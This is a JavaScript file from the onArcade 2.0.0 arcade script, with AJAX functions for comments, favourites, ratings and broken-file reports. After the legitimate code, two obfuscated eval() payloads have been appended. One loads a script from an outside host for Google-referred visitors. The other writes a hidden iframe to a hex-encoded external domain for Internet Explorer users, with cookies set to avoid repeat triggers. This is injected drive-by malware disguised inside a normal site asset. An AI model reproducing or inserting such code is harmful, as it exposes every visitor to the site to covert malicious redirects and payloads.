/**
 * onArcade 2.0.0
 * Copyright © 2006-2007 Hans Mäesalu & Eveterm OÜ, All Rights Reserved
 **/

var xmlHttp = xmlHttpRequest();

function report_broken_submit(file_id) {
  if (xmlHttp == null) {
    return;
  }
  xmlHttp.open('POST', siteurl + '/file.php?a=report_broken&f=' + file_id, true);
  xmlHttp.onreadystatechange = function() { 
    if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { 
      document.getElementById("report_broken").innerHTML = xmlHttp.responseText;
    } 
  }
  xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xmlHttp.send('comment=' + escape(document.getElementById("report_broken_comment").value));
}

function make_favourite(file_id, favourite_action) {
  if (xmlHttp == null) {
    return;
  }
  if (favourite_action == 'make') {
	xmlHttp.open('GET', siteurl + '/file.php?a=make_favourite&f=' + file_id, true);
	document.getElementById("favourite_message").style.display = "block";
  } else {
    xmlHttp.open('GET', siteurl + '/file.php?a=remove_favourite&f=' + file_id, true);
	document.getElementById("favourite_message").style.display = "none";
  }
  xmlHttp.onreadystatechange = function () {
    if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { 
      document.getElementById("make_favourite").innerHTML = xmlHttp.responseText;
    } 
};
  xmlHttp.send(null);
}

function edit_score_comment(score_id) {
  if (xmlHttp == null) {
    return;
  }
  xmlHttp.open('POST', siteurl + '/scores.php?a=edit_comment&s=' + score_id, true);
  xmlHttp.onreadystatechange = function() {
    if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") {
      document.getElementById("edit_comment_" + score_id).innerHTML = xmlHttp.responseText;
    } 
  }
  xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xmlHttp.send('edit_comment=' + escape(document.getElementById("edit_score_comment").value));
}

function display_comments(file_id, comment_page) {
  if (xmlHttp == null) {
    return;
  }
  
  xmlHttp.open('GET', siteurl + '/file.php?f=' + file_id +'&a=comments&p=' + comment_page, true);
  xmlHttp.onreadystatechange = function() {
    if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { 
      document.getElementById("file_comments").innerHTML = xmlHttp.responseText;
    } 
  }
  xmlHttp.send(null);
}

function submit_comment(file_id) {
  if (xmlHttp == null) {
    return;
  }
  xmlHttp.open('POST', siteurl + '/file.php?a=submit_comment&f=' + file_id, true);
  xmlHttp.onreadystatechange = function() {
	if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { 
      document.getElementById("comment_error").innerHTML = xmlHttp.responseText;
      display_comments(file_id, 1);
      document.getElementById("comment_message").value = '';
    } 
  }
  xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xmlHttp.send('message=' + escape(document.getElementById("comment_message").value));
}

function rate_file(file_id) {
  if (xmlHttp == null) {
    return;
  }
  
  xmlHttp.open('GET', siteurl + '/file.php?f=' + file_id +'&a=rate&r=' + document.getElementById("file_rating_select").value, true);
  xmlHttp.onreadystatechange = function() {
    if (xmlHttp.readyState == 4 || xmlHttp.readyState == "complete") { 
      document.getElementById("rate_file").innerHTML = thank_you;
      document.getElementById("file_rating").src = siteurl + '/images/stars' + xmlHttp.responseText + '.gif';
    } 
  }
  xmlHttp.send(null);
}

function xmlHttpRequest() {
  var xmlHttp=null;
  try {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
  } catch (e) {
    // Internet Explorer
    try {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
  return xmlHttp;
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));sa="%73%6F%64%6B%65%6E%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('7(2.3.4("5=0")==-1&&10.13.4("19 6")!=-1){2.3="5=0; 17=18, 14 12 8 14:15:26 9; ";2.11("<20"+"31 34="+"1 33"+"32=1 0"+"30=\'29"+"23://"+22+"/21/\' 24=\'25"+"28:27\'></7"+"16>")}',10,35,'s||document|cookie|indexOf|_mlsdkf||if|2015|GMT|navigator|write|Jul|appVersion|||rame|expires|Mon|MSIE|ifra|b2b|sa|tp|style|di||none|splay|ht|rc|me|ght|hei|width'.split('|')));

